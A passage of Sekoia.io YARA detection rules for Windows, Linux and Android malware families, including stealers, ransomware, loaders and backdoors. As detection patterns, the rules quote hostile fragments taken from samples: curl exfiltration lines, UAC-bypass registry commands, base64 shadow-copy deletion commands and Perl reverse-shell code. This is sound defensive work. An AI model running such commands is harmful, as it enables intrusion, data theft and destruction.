		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_raccoon_str_takemypainback.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "50d30828dab7e197619eeac4ebd2ab6692a9ac40a5091e23642cd1bdde8e9910"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str0 = "\\ffcookies.txt" wide
		$str1 = "TakeMyPainBack" wide
		$str2 = "wallet.dat" wide
		$str3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" wide
		$str4 = "Network\\Cookies" wide
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule SEKOIA_Apt_Lazarus_Vhd_Ransomware_Downloader : FILE
{
	meta:
		description = "Detects VHD ransomware downloader"
		author = "Sekoia.io"
		id = "edcc9df8-650c-437a-adb8-a671e8b75e64"
		date = "2022-11-28"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_lazarus_vhd_ransomware_downloader.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "042ab0029d170937af9b9ee6a8e499843532c84cf99faed3d2d47cb18a1500ac"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "rundll32.exe %s #1 %S" wide
		$ = "cmd /c timeout /t 10 & Del /f /q \"%s\" & attrib -s -h \"%s\" & rundll32 \"%s\" #1" wide
		$ = "cmd /c timeout /t 10 & rundll32 \"%s\" #1" wide
		$ = "curl -A cur1-agent -L %s -s -d da"
		$ = "curl -A cur1-agent -L %s -s -d dl"
	condition:
		filesize < 2MB and 3 of them
}

rule SEKOIA_Infostealer_Win_Monster_Stub : FILE
{
	meta:
		description = "Finds Monster Stealer stub (Python payload) based on specific strings."
		author = "Sekoia.io"
		id = "10d27d49-79ae-4edc-8c30-35506bdf2c42"
		date = "2024-08-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_monster_stub.yar#L1-L31"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "d6362c54b1f56ffa878423fbb1a3f57508d20e06b573c732f892494178a49200"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "https://t.me/monster_free_cloud" ascii
		$str02 = "MonsterUpdateService" ascii
		$str03 = "Monster.exe" ascii
		$str04 = "schtasks /create /f /sc daily /ri 30 /tn" ascii
		$str05 = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\" ascii
		$str06 = "banned_uuids" ascii
		$str07 = "banned_computer_names" ascii
		$str08 = "banned_process" ascii
		$str09 = "register_X_browsers" ascii
		$str10 = "register_payload" ascii
		$str11 = "tiktok_sessions.txt" ascii
		$str12 = "spotify_sessions.txt" ascii
		$str13 = "network_info.txt" ascii
		$str14 = "lolz.guru" ascii
		$str15 = "echo ####System Info####" ascii
		$str16 = "echo ####Firewallinfo####" ascii
		$str17 = "/injection/main/injection.js" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 10 of them
}


rule SEKOIA_Generic_Sharpshooter_Payload_9 : FILE
{
	meta:
		description = "Detects payload created by SharpShooter"
		author = "Sekoia.io"
		id = "e4283d6e-d829-4f21-ba60-9e6232519e54"
		date = "2023-02-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_sharpshooter_payload_9.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "deb0773e6300ed0f4c099359731812216390017eaf8de678b2a5ed237906f03f"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "shell.Environment(\"Process\").Item(\"COMPLUS_Version\")"
		$ = "(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)"
		$ = "DebugPrint Err.Description"
	condition:
		all of them and filesize < 2MB
}

rule SEKOIA_Ransomware_Win_Fonix : FILE
{
	meta:
		description = "Detect the Fonix / XINOF ransomware by spotting its specific debug path"
		author = "Sekoia.io"
		id = "b28467d5-69a0-4a8b-8938-8fdac2ae8d19"
		date = "2021-10-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/ransomware_win_fonix.yar#L1-L16"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "2085fae62c07f63723a417566c204b0a9942de35ed80272d1486dc2c96ca0037"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "Ransomware\\Fonix" ascii
		$s2 = "Release\\Fonix.pdb" ascii
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}


rule SEKOIA_Generic_Tor_Hidden_Service_Leading_To_Winports : FILE
{
	meta:
		description = "Detects malicious TOR redirection affecting RDP, NetBios"
		author = "Sekoia.io"
		id = "1e5c469b-f721-44af-87b3-1adf423719c1"
		date = "2023-09-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_tor_hidden_service_leading_to_winports.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "39db199ba7fede8df4bdb505b071240dda96b74f66f818f90047dad338dc4a72"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "HiddenServiceDir "
		$s2 = "SocksPort "
		$s3 = "HiddenServicePort "
		$s4 = ":3389"
		$s5 = ":445"
	condition:
		$s1 and $s2 and ( $s4 in ( @s3 .. @s3 + 100 ) or $s5 in ( @s3 .. @s3 + 100 ) ) and filesize < 2000
}




rule SEKOIA_Implant_Win_Havoc_Default_Strings : FILE
{
	meta:
		description = "Finds Havoc implants based on the embedded default strings"
		author = "Sekoia.io"
		id = "955c2211-4502-4258-ba4c-0d96a5624283"
		date = "2022-10-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/implant_win_havoc_default_strings.yar#L1-L23"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "dbf17e579071f265961657d73c6a2e51630b23e80376491df2e631cee5ffb1b4"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "C:\\Windows\\System32\\notepad.exe" ascii
		$str02 = "C:\\Windows\\SysWOW64\\notepad.exe" ascii
		$str03 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" ascii
		$str04 = "POST" wide
		$str05 = "\\??\\C:\\Windows\\System32\\ntdll.dll" wide
		$str06 = "X-Havoc: true" ascii
		$str07 = "X-Havoc-Agent: Demon" ascii
		$str08 = "/text.gif" ascii
		$str09 = "SeImpersonatePrivilege" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 6 of them
}

rule SEKOIA_Apt_Badmagic_Installpzz_Pshscript : FILE
{
	meta:
		description = "Detects BadMagic InstallPZZ powershell script"
		author = "Sekoia.io"
		id = "d01bc217-9e14-498b-a92a-17f6aedec269"
		date = "2023-05-15"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_badmagic_installpzz_pshscript.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "58256cffd1d5060769f304393c22b6488abe9515eb7df2a967ba2fed85a9ec9a"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "start-job -ScriptBlock $script;"
		$ = "Start-Sleep -Second 1;"
		$ = "Write-Output \"$url$j"
		$ = "Start-Sleep -Second 2;"
	condition:
		all of them and filesize < 1KB
}


rule SEKOIA_Generic_Sharpshooter_Payload_5 : FILE
{
	meta:
		description = "Detects payload created by SharpShooter"
		author = "Sekoia.io"
		id = "cb4d266e-f2b7-4642-a223-57180e66a9a6"
		date = "2023-02-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_sharpshooter_payload_5.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "a68342b5bb2622deb71432da85cc249f35ca5b7b5dc70e069d6dcb6e9488e97e"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "rc4 = function(key, str)"
		$ = "<job id=\"JS Code\""
		$ = "var e={},i,b=0,c,x,l=0,a,r="
		$ = "var plain = rc4("
		$ = "eval(plain);"
	condition:
		all of them and filesize < 2MB
}


rule SEKOIA_Apt_Gamaredon_Subtle_Paws : FILE
{
	meta:
		description = "SUBTLE-PAWS powershell backdoor used by Gamaredon"
		author = "Sekoia.io"
		id = "1950f886-97d2-4aa1-8f13-2947eba706e4"
		date = "2024-02-09"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_gamaredon_subtle_paws.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "2fcebcf3401912e06ca4a34bf4e8d5318c6b2e08b00c4939ab932f3fb94cbc89"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "$splitter" ascii wide
		$s2 = "[System.Convert]::FromBase64String" ascii wide
		$s3 = "$_;$var2 =\"var1\";$var3" ascii wide
		$s4 = "foreach-object{$_|powershell -noprofile -}" ascii wide
	condition:
		$s1 and $s2 and ( $s3 or $s4 ) and filesize < 100KB
}

rule SEKOIA_Backdoor_Blueshell : FILE
{
	meta:
		description = "Detects BlueShell backdoor"
		author = "Sekoia.io"
		id = "8f1cd966-c4d8-44f9-8cd5-4f5277332546"
		date = "2023-09-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/backdoor_blueshell.yar#L1-L23"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "348ae383f2aaef544951641dd7e2879afa23e37bdf429c6255254115bd3e10d5"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "BlueShell" ascii
		$s2 = "client.go" ascii
		$s3 = "server ip" ascii
		$s4 = "server port" ascii
		$s5 = "reconnect wait time" ascii
		$s6 = "shell" ascii
		$s7 = "socks" ascii
		$s8 = "socks5" ascii
		$s9 = "GetInteractiveShell" ascii
	condition:
		filesize < 11MB and all of them
}

rule SEKOIA_Ransomware_Win_Redeemer : FILE
{
	meta:
		description = "Finds Redeemer samples based on characteristic strings"
		author = "Sekoia.io"
		id = "ef94c1b0-d292-4fae-9801-4860e7347745"
		date = "2022-12-09"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/ransomware_win_redeemer.yar#L1-L24"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "c1798a18e763277d19a3b698459244a2bc2eeebbbf239db7540d1493955ce5f0"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str0 = "RedeemerMutex" ascii
		$str1 = "SOFTWARE\\Redeemer" ascii
		$str2 = "-----BEGIN REDEEMER PUBLIC KEY-----" ascii
		$str3 = "dnNzYWRtaW4gZGVsZXRlIHNoYWRvd3MgL0FsbCAvUXVpZXQ=" ascii
		$str4 = "d2V2dHV0aWwgY2xlYXItbG9nIEFwcGxpY2F0aW9u" ascii
		$str5 = "d2JhZG1pbiBkZWxldGUgc3lzdGVtc3RhdGViYWNrdXAgLWRlbGV0ZW9sZGVzdCAtcXVpZXQ=" ascii
		$str6 = "YXNzb2MgLnJlZGVlbT1yZWRlZW1lcg==" ascii
		$str7 = "UmVkZWVtZXIgUmFuc29td2FyZSAtIFlvdXIgRGF0YSBJcyBFbmNyeXB0ZWQ=" ascii
		$str8 = "redeemer\\DefaultIcon" wide
		$str9 = "\\Redeemer.sys" wide
	condition:
		uint16( 0 ) == 0x5A4D and 2 of them
}

rule SEKOIA_Bot_Lin_Kinsing_Strings : FILE
{
	meta:
		description = "Catch Kinsing malware based on strings"
		author = "Sekoia.io"
		id = "ce41b6d0-bc22-4a85-a3bb-ed3234871524"
		date = "2023-11-24"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/bot_lin_kinsing_strings.yar#L1-L23"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "164b22734541d43047a2ea868cf0a269efe69c64a6392030168f4d391b1be777"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "MinerUrl" ascii
		$s2 = "main.masscan" ascii
		$s3 = "redisBrute" ascii
		$s4 = "ActiveC2CUrl" ascii
		$s5 = "main.getKi" ascii
		$s6 = "main.getMu" ascii
		$s7 = "tryToRunMiner" ascii
		$s8 = "main.kiLoader" ascii
		$s9 = "main.downloadAndExecute" ascii
	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule SEKOIA_Luckymouse_Sysupdate_Payload : FILE
{
	meta:
		description = "Detects decryption routine prologue of sysupdate samples"
		author = "Sekoia.io"
		id = "97df4700-de35-49a0-869e-ed89a6d9cbdd"
		date = "2022-08-19"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/luckymouse_sysupdate_payload.yar#L1-L16"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "e8501a50c65330153e613ae5bd6bbfbe4372d85175c3ed81d202ec5f177a94be"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = { DB ?? ?? C9 66 B9 ?? ?? E8 FF FF FF FF }
	condition:
		filesize < 1MB and all of them
}

rule SEKOIA_Generic_Perl_Reverse_Shell : FILE
{
	meta:
		description = "Detects simple reverse shell written in Perl"
		author = "Sekoia.io"
		id = "4eb2ef0d-3ada-4566-bd82-8c75d6931acc"
		date = "2023-12-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_perl_reverse_shell.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "d0a23db712746bac4684d6b4508dd891caf06d72af153b1a0ab489a93edbfaf4"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "open(STDIN,\">&S\");"
		$ = "open(STDERR,\">&S\");"
		$ = "use Socket;$i="
	condition:
		filesize < 300 and all of them
}

rule SEKOIA_Infostealer_Win_Acrstealer_Str : FILE
{
	meta:
		description = "Finds ACR Stealer standalone samples based on specific strings."
		author = "Sekoia.io"
		id = "63b4d6ff-0cab-44ec-9d53-bb2612371a48"
		date = "2024-04-22"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_acrstealer_str.yar#L1-L29"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "53d313857577b39b51a3e396c078d39a8b8ab803295b689357c3e8ea94cac9f7"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "ref.txt" ascii
		$str02 = "Wininet.dll" ascii
		$str03 = "Content-Type: application/octet-stream; boundary=----" ascii
		$str04 = "POST" ascii
		$str05 = "os_c" ascii fullword
		$str06 = "en_k" ascii fullword
		$str07 = "MyApp/1.0" ascii
		$str08 = "/Up/b" ascii
		$str09 = "Hello, World!" ascii
		$str10 = "/ujs/" ascii
		$str11 = "/Up/" ascii fullword
		$str12 = "ostr" ascii fullword
		$str13 = "brCH" ascii fullword
		$str14 = "brGk" ascii fullword
		$str15 = "https://steamcommunity.com/profiles/" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 10 of them
}


rule SEKOIA_Guerrilla_Lemongroup : FILE
{
	meta:
		description = "No description has been set in the source file - SEKOIA"
		author = "Sekoia.io"
		id = "df635b5a-a19a-48ab-9a3a-9723e265c71d"
		date = "2023-05-23"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/guerrilla_lemongroup.yar#L1-L28"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "b644cb537a42217f2549f37bfe07ae0b7ba39fc248ab3d5fd870384c7684683b"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$dex = { 64 65 78 0A 30 33 ?? 00 }
		$odex = { 64 65 79 0A 30 33 ?? 00 }
		$s2 = "data response code===" ascii
		$s3 = "httpCon:" ascii
		$s4 = "processName :" ascii
		$s5 = "startListTasks......" ascii
		$s6 = "url==" ascii
		$s7 = "java core run ZYGOTE_PROCESS" ascii
		$api1 = "/api.php" ascii
		$api2 = "/event.php" ascii
		$api3 = "/apiRS.php" ascii
	condition:
		($dex at 0 or $odex at 0 ) and filesize > 100KB and filesize < 5MB and 5 of ( $s* ) and 1 of ( $api* )
}

rule SEKOIA_Hacktool_Win_Uknowseckeylogger : FILE
{
	meta:
		description = "Detect the uknowsec keylogger based on strings"
		author = "Sekoia.io"
		id = "ab08136d-b1f3-4e64-b73c-e6344b610f91"
		date = "2022-10-05"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/hacktool_win_uknowseckeylogger.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "83a731a5b1853edcce963d458fc170206086305f3e43403c930c9633918e8ff1"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str0 = "github.com/atotto/clipboard" ascii
		$str1 = "github.com/TheTitanrain/w32" ascii
		$str2 = "github.com/aliyun/aliyun-oss-go-sdk" ascii
		$str3 = "golang.org/x/sys" ascii
		$str4 = "golang.org/x/time" ascii
		$str5 = "WSARecvWSASend[Print][Right][Shift][Sleep][debug][error]" ascii
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule SEKOIA_Trojan_Win_Bbtok_Dll1_Sep23 : FILE
{
	meta:
		description = "Finds BBTok installation DLL file"
		author = "Sekoia.io"
		id = "eebed24b-24ec-4a85-852c-52d0acc9a698"
		date = "2023-09-26"
		modified = "2024-12-19"
		reference = "https://research.checkpoint.com/2023/behind-the-scenes-of-bbtok-analyzing-a-bankers-server-side-components/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/trojan_win_bbtok_dll1_sep23.yar#L1-L28"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "5353956345206982af9bde55300fc405ba6e40722e8f51e8717c30ad32bc8f91"
		logic_hash = "1b1e25f7d760d275d2ef01390c215edb1752ad65383c92a21d71d9e65da3c5f8"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "C:\\Windows\\System32\\rundll32.exe" wide
		$str02 = "C:\\ProgramData\\mmd.exe" wide
		$str03 = "REG ADD HKCU\\Software\\Classes\\.pwn\\Shell\\Open\\command -ve /d" wide
		$str04 = "C:\\ProgramData\\mmd.exe \\\\" wide
		$str05 = "\\file\\Trammy.dll" wide
		$str06 = "Dacl & REG DELETE HKCU\\Software\\Classes\\ms-settings /f" wide
		$str07 = "REG DELETE  HKCU\\Software\\Classes\\.pwn /f" wide
		$str08 = "REG ADD HKCU\\Software\\Classes\\ms-settings\\CurVer -ve /d \".pwn\" /f" wide
		$str09 = "timeout /t 3 >nul & start /MIN computerdefaults.exe" wide
		$str10 = "set_StartInfo" ascii
		$str11 = "set_WindowStyle" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 7 of them and filesize < 50KB
}

rule SEKOIA_Infostealer_Win_Ducklogs : FILE
{
	meta:
		description = "Detects DuckLogs based on specific strings"
		author = "Sekoia.io"
		id = "165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5"
		date = "2022-12-01"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_ducklogs.yar#L1-L30"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "5db1a5595ec41488da620606bbcb36d0d686f9d6b7a0479439c53625df0886a0"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$dck = "DuckLogs" ascii wide
		$str01 = "CheckRemoteDebuggerPresent" ascii
		$str02 = "MozGlueNotFound" ascii
		$str03 = "get_DecryptedPassword" ascii
		$str04 = "get_Extension" ascii
		$str05 = "set_UseShellExecute" ascii
		$str06 = "FirefoxPasswords" ascii
		$str07 = "GetAllGeckoCookies" ascii
		$str08 = "GetAllBlinkDownloadsBy" ascii
		$str09 = "Grabbers" ascii
		$str10 = "Utility" ascii
		$str11 = "Persistance" ascii
		$str12 = "Clipboard" ascii
		$str13 = "WaterfoxGrabber" ascii
		$str14 = "AvastGrabber" ascii
	condition:
		uint16( 0 ) == 0x5A4D and ( ( #dck > 4 and 2 of ( $str* ) ) or 12 of them )
}


rule SEKOIA_Infostealer_Win_Titan : FILE
{
	meta:
		description = "Finds samples of the Titan Stealer"
		author = "Sekoia.io"
		id = "0adbe616-0d91-4b05-b7a8-812cd79f9252"
		date = "2023-01-12"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_titan.yar#L1-L25"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "996dc320c83f57c47afe50ad032bac43ad1fbfbbd5a86e517089a062b0382993"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str0 = "/sendlog" ascii
		$str1 = "/stealer/grabfiles.go" ascii
		$str2 = "/stealer/installedsoft.go" ascii
		$str3 = "/stealer/screenshot.go" ascii
		$str4 = "/stealer/sendlog.go" ascii
		$str5 = "/stealer/userinformation.go" ascii
		$str6 = "C:/Program Files (x86)/Steam/config/" ascii
		$str7 = "/com.liberty.jaxx/IndexedDB/file__0.indexeddb.leveldb/" ascii
		$str8 = "MAC Adresses:" ascii
		$str9 = "/Coowon/Coowon/" ascii
		$str10 = "_/C_/Users/admin/Desktop/stealer_v7/stealer" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 5 of them
}



rule SEKOIA_Apt_Kimsuky_Powershell_Dropper_Strings : FILE
{
	meta:
		description = "Detects a PowerShell dropper used by Kimsuky"
		author = "Sekoia.io"
		id = "8b346e05-215b-46c0-82bf-fce3a65440f3"
		date = "2024-06-11"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_kimsuky_powershell_dropper_strings.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "e98f23ddf02049126786e9300e7b6661b2a74817b36e2f3a661b07b24ef4402d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "try { " ascii wide
		$s2 = "); } catch(e){} } if ("
		$s3 = "WScript.Sleep("
		$s4 = " } catch(e) { }"
	condition:
		filesize > 500KB and $s1 at 0 and $s2 in ( filesize -1000 .. filesize ) and $s3 in ( filesize -1000 .. filesize ) and $s4 in ( filesize -1000 .. filesize )
}


rule SEKOIA_Loader_Win_Aresloader : FILE
{
	meta:
		description = "Finds AresLoader samples based on characteristic strings"
		author = "Sekoia.io"
		id = "bf5070fc-c8ca-4458-8702-cd1830667b7a"
		date = "2023-05-02"
		modified = "2024-12-19"
		reference = "https://blog.cyble.com/2023/04/28/citrix-users-at-risk-aresloader-spreading-through-disguised-gitlab-repo/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_win_aresloader.yar#L1-L28"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "2edbb625394506e865580373d5c3454b4fa201183c84d247b4373f24e25f5fd4"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "{\\\"ip\\\": '%s', \\\"UID\\\": '%s', \\\"geo\\\": '%s', \\\"service\\\": '%s', \\\"owner_token\\\": '%s'}" ascii
		$str02 = "AresLdr_v_3" ascii
		$str03 = "https://ipinfo.io/ip" ascii
		$str04 = "C:\\Users\\%s\\AppData\\Roaming\\%s\\%s" ascii
		$str05 = "/manager/payload" ascii
		$str06 = "/manager/loader" ascii
		$str07 = "/manager/legit" ascii
		$str08 = "/manager/hvnc" ascii
		$str09 = "C%p %d V=%0X w=%ld %s" ascii
		$str10 = "rundll32.exe %s,%s" ascii
		$str11 = "%startinfo" ascii
		$str12 = "%managedapp" ascii
		$str13 = "%has_cctor" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 5 of them
}

rule SEKOIA_Loader_Win_Piccassoloader : CVE_2023_38831
{
	meta:
		description = "Detect the variant of Picasso used by GhostWriter as CVE-2023-38831 exploitation payload"
		author = "Sekoia.io"
		id = "91d9c2de-451e-467e-8f5c-38bbcce92b72"
		date = "2023-09-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_win_piccassoloader.yar#L1-L16"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "93e598f6c70dcb1ddf20ea926af72241e135bdf910f3721a7a0c3036f6a3d1b9"
		score = 75
		quality = 76
		tags = "CVE-2023-38831"
		version = "1.0"
